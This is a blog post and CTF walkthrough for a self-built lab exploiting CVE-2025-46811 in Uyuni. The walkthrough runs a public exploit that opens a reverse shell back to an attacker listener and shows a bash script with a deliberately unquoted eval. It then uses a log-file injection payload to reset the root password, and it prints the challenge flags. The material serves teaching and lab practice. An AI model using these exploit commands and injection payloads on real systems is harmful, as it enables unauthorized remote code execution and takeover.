CVE-2025-46811 is an unauthenticated remote code execution vulnerability in Uyuni 2025.05, scored 9.8 (CVSS v3.1): a single request to an unauthenticated WebSocket endpoint runs arbitrary commands on any managed Salt minion. I found it while working at SUSE. It was patched quickly, but the exploitation path made a solid hands-on lab, so I built a challenge machine around it and submitted it to Hack The Box. They did not accept it, so I published the challenge and this writeup myself.
The Hack The Box Submission
I chose Hack The Box because I already knew the format from my OSCP preparation (see How I Passed OSCP) and what a submission needs to include. The requirements are well documented:
HTB is a large, active CTF platform with a machine bounty program, so it was a reasonable first choice. I created the CVE-2025-46811-challenge repository with the challenge materials, along with a proof-of-concept exploit later published on ExploitDB. I worked through the roughly thirty-item machine submission checklist (see Machine-Writeup.md) and submitted the box as Wiktor.

The review response:
After review, we don’t feel the box introduces anything new to the platform — the techniques and concepts presented have been well covered by existing machines. We’d encourage you to explore fresher attack vectors or more unique scenarios for future submissions. We appreciate the effort!
That is fair. I had not checked closely enough whether WebSocket-based paths were already well represented on the platform, and I had already exceeded the resource limits and requested an exception, so I decided not to appeal and looked at alternatives.
TryHackMe was one option. I am less familiar with it, but rooms there generally pair a writeup with the challenge (see TCM room creation). Its free-tier resource limits would likely not fit a full Uyuni server, a minion, and an admin-traffic simulator. VulnHub had lighter requirements (an OVA file plus a writeup), but the platform has seen little activity in recent years, so that did not appeal either.
I ended up publishing it on my own site. You can try to hack it in my home page terminal. The full writeup and source code are below.
Designing the Challenge
Uyuni is an open-source systems management tool (a downstream of SUSE Manager) built on Salt. It handles package updates, configuration management, and remote command execution across Linux infrastructure. A typical production deployment has a central server, one or more proxies, and many minions. I wanted the challenge environment to match that shape as closely as possible.

The challenge runs three containers in the uyuni-network: the Uyuni server, deployed via mgradm and exposing the unauthenticated WebSocket endpoint at /rhn/websocket/minion/remote-commands, a leap-minion registered to it, and a Playwright login simulator that keeps realistic session state on the server.
The server and the minion share a btrfs volume at /srv/shared-data. Every five minutes a systemd timer (uyuni-maintenance.timer) runs maintenance.sh, which calls zypper list-updates on the minion through Salt, writes the output to a log file on the shared volume, then passes the extracted package names unquoted into eval "/usr/bin/salt ... cmd.run 'zypper update --no-confirm $packages'". Controlling the log file content is enough to inject arbitrary commands that run as root on the Uyuni server.
Deployment details, including an Ansible playbook for a reproducible setup, are in the challenge repository.
Writeup
Enumeration
Start with an nmap scan to see what is running on the target:
:~ $ nmap -sC -sV -A <TARGET_IP>
Starting Nmap 7.93 ( https://nmap.org ) at 2026-02-09 20:32 CET
Nmap scan report for <TARGET_IP>
Host is up (0.023s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 6acead025250fddb8d8f798bf3a5183a (ECDSA)
|_ 256 8821bbf413f22616655f8703448456f4 (ED25519)
80/tcp open http Apache httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Did not follow redirect to https://<TARGET_IP>/rhn/manager/login
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-title: Uyuni - Sign In
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache
| ssl-cert: Subject: commonName=wiktor.local.htb/organizationName=SUSE/stateOrProvinceName=Bayern/countryName=DE
| Subject Alternative Name: DNS:wiktor.local.htb, DNS:wiktor.local.htb
| Not valid before: 2026-02-02T18:08:13
|_Not valid after: 2036-02-07T18:08:13
2222/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 d10493f16a7891abeca9ac57e311ab56 (ECDSA)
|_ 256 6a0339a8ea7153c112ad6bc43fd724c8 (ED25519)
5432/tcp open postgresql PostgreSQL DB 9.6.0 or later
| ssl-cert: Subject: commonName=reportdb.mgr.internal
9100/tcp open jetdirect?
...
Nmap done: 1 IP address (1 host up) scanned in 19.01 seconds
The SSL certificate reveals the hostname wiktor.local.htb. Add it to /etc/hosts:
:~ $ echo '<TARGET_IP> wiktor.local.htb' | sudo tee -a /etc/hosts
https://wiktor.local.htb shows the Uyuni Sign In page for the 2025.05 release.
No default or guessable credentials work on the login form, so the Uyuni version and its attack surface are the next thing to check.
Searching for known Uyuni 2025.05 vulnerabilities turns up CVE-2025-46811, an unauthenticated remote code execution vulnerability in the WebSocket-based remote command endpoint.
Foothold
You can exploit this manually with websocat, a command-line WebSocket client, or use the Python exploit SUSE Manager 4.3.15 - Code Execution.
The exploit targets the WebSocket endpoint at /rhn/websocket/minion/remote-commands. In Uyuni 2025.05 this endpoint accepts WebSocket upgrade requests without checking session cookies or authentication tokens. Once connected, you can send JSON-formatted command payloads that the server dispatches through Salt’s cmd.run module to any registered minion giving full remote code execution on every managed host in the fleet, with no authentication required.
Install the requirements listed in the script:
:~ $ searchsploit -m 52527
Exploit: SUSE Manager 4.3.15 - Code Execution
URL: https://www.exploit-db.com/exploits/52527
Path: /opt/exploitdb/exploits/multiple/webapps/52527.py
Codes: CVE-2025-46811
Verified: False
File Type: Python script, ASCII text executable
Copied to: /opt/52527.py
:~ $ pip install websocket-client==1.9.0
Open a separate terminal and start a Netcat listener to catch the reverse shell:
:~ $ nc -nvlp 9001
Listening on 0.0.0.0 9001
From the previous shell, run the downloaded Python script:
:~ $ python3 /opt/52527.py --ip <TARGET_IP> --port 443 --host-ip <ATTACKER_IP> --host-port 9001 --ssl
Select the minion when prompted:
Available minions:
1) leap-minion
Select minion number (default is '1', or 'c' to cancel): 1
Payload sent, closing.
Back on the listener terminal:
Connection received on <TARGET_IP> 47696
sh: cannot set terminal process group (42): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4#
Confirm identity and retrieve the user flag:
sh-4.4# whoami
whoami
root
sh-4.4# ls /home
ls /home
leap
sh-4.4# cat /home/leap/user.txt
cat /home/leap/user.txt
9e6de85ace9294a1615eaff7fed9ed03
Privilege Escalation
Running LinPEAS, or checking manually, shows we are inside a container:
sh-4.4# cat /proc/1/cgroup
cat /proc/1/cgroup
0::/machine.slice/libpod-92b1df236c29a002ff6437a920bf7d290ac58f406123eaef8af3591e51ba5c1d.scope/init.scope
Two shared mount points are present:
sh-4.4# mount
mount
...
/dev/sda2 on /srv/shared-data type btrfs (ro,nosuid,nodev,relatime,space_cache=v2,subvolid=257,subvol=/@/var)
...
/dev/sda2 on /srv/shared-data/logs type btrfs (rw,nosuid,nodev,relatime,space_cache=v2,subvolid=257,subvol=/@/var)
...
Looking at the shared volume:
sh-4.4# ls /srv/shared-data/
ls /srv/shared-data/
logs
maintenance.sh
sh-4.4# ls /srv/shared-data/logs/
...
maintenance.log
updates_2026-02-09-10-53.log
updates_2026-02-09-10-58.log
updates_2026-02-09-11-03.log
...
The log files are generated every 5 minutes. /srv/shared-data/maintenance.sh shows the following logic:
#!/usr/bin/env bash
minion_maintenance() {
logfile="/srv/shared-data/logs/updates_$timestamp.log"
list_of_system_updates=$(
zypper list-updates \
| awk -F'|' '$3 ~ /system-/'
)
printf "%s\n" "$list_of_system_updates" >> "$logfile"
sed --in-place "/^[[:space:]]*$/d" "$logfile"
if [[ -s "$logfile" ]]; then
awk -F' \| ' '{gsub(/^[ \t]+|[ \t]+$/, "", $3); print $3}' "$logfile" \
| paste --serial --delimiters " "
else
printf "%s\n" "No urgent system updates required." >> "$logfile"
fi
}
{
timestamp=$(date +%Y-%m-%d-%H-%M)
if ! /usr/bin/salt "leap-minion" test.ping --out txt 2>/dev/null | grep -q "True"; then
echo "leap-minion is booting..."
else
packages=$(
/usr/bin/salt "leap-minion" cmd.run \
"timestamp=$timestamp; $(declare -f minion_maintenance); minion_maintenance" \
--out txt \
| sed --silent "s/^[^:]*:[[:space:]]*//p"
)
if [[ -n "${packages:-}" ]]; then
eval "/usr/bin/salt 'leap-minion' cmd.run 'zypper update --no-confirm $packages'"
else
echo "No urgent system packages needs to be updated at $timestamp."
fi
fi
} >> "/srv/shared-data/logs/maintenance.log" 2>&1
The execution flow:
- Salt remotely executes
minion_maintenance()onleap-minion. - That function runs
zypper list-updates, filters forsystem-*packages, and writes results to/srv/shared-data/logs/updates_<timestamp>.log. - If the log file has content, it extracts package names from the third pipe-delimited column.
- The extracted names are stored in
$packagesand passed unquoted into anevalstatement.
The critical vulnerability is on line 33:
eval "/usr/bin/salt 'leap-minion' cmd.run 'zypper update --no-confirm $packages'"
This is a textbook Eval Injection (CWE-95), also described by OWASP as Direct Dynamic Code Evaluation.
zypper list-updates outputs pipe-delimited columns (reference):
S | Repository | Name | Current Version | Available Version | Arch
The script extracts the third column (Name) using awk -F' | ' '{print $3}'. Injecting a command requires a log entry that places the payload in that third column. The payload needs to:
- Close the existing single quote in the
evalstring - Inject the command
- Comment out the trailing text
v | xxx | ' || true && echo root:linux123| chpasswd ## | xxx | xxx | xxx
When parsed by awk, the third column becomes:
' || true && echo root:linux123| chpasswd ##
Substituted into the eval statement, the full command becomes:
eval "/usr/bin/salt 'leap-minion' cmd.run 'zypper update --no-confirm ' || true && echo root:linux123| chpasswd ## '"
This escapes the Salt command and instead runs echo root:linux123 | chpasswd on uyuni-server, changing the root password to linux123.
Lateral Movement (Minion -> Server)
Check the most recent log file to confirm the naming pattern:
sh-4.4# ls -lt /srv/shared-data/logs/updates_*.log | head -1
ls -lt /srv/shared-data/logs/updates_*.log | head -1
-rw-r--r-- 1 root root 35 Feb 9 16:38 updates_2026-02-09-17-38.log
The next file will be updates_2026-02-09-17-43.log (5 minutes later).
Create the log file with the payload before the timer fires:
sh-4.4# echo "v | xxx | ' || true && echo root:linux123| chpasswd ## | xxx | xxx | xxx" > /srv/shared-data/logs/updates_2026-02-09-17-43.log
...
uyuni-maintenance.timer runs every 5 minutes. Monitor maintenance.log for execution:
sh-4.4# tail -f /srv/shared-data/logs/maintenance.log
...
After the timer fires, the output confirms the injected command was processed:
...
leap-minion:
Loading repository data...
Reading installed packages...
Nothing to do.
This confirms maintenance.sh ran and the payload executed: chpasswd changed the root password on uyuni-server.
The nmap scan showed SSH on port 2222 (the uyuni-server container). Connect with the new credentials:
:~ $ ssh root@<TARGET_IP> -p 2222
(root@<TARGET_IP>) Password: linux123
===============================================================================
!
! This shell operates within a container environment, meaning that not all
! modifications will be permanently saved in volumes.
!
===============================================================================
uyuni-server:~ #
Retrieve the root flag:
uyuni-server:~ # cat /root/root.txt
627fd72f0a31a402d6047955ef1d76ac
Disclaimer
CVE-2025-46811 was patched by SUSE and Uyuni upstream in July 2025. Any production system running a current version is not affected. The credentials in the challenge are challenge-only and do not correspond to any real environment. A proof-of-concept exploit has been public since shortly after the patch, so publishing a challenge around it doesn’t give attackers real advantage. The repository is open and meant for educational use, run it in an isolated lab network.
References
© 2026 Wiktor Maj. All Rights Reserved.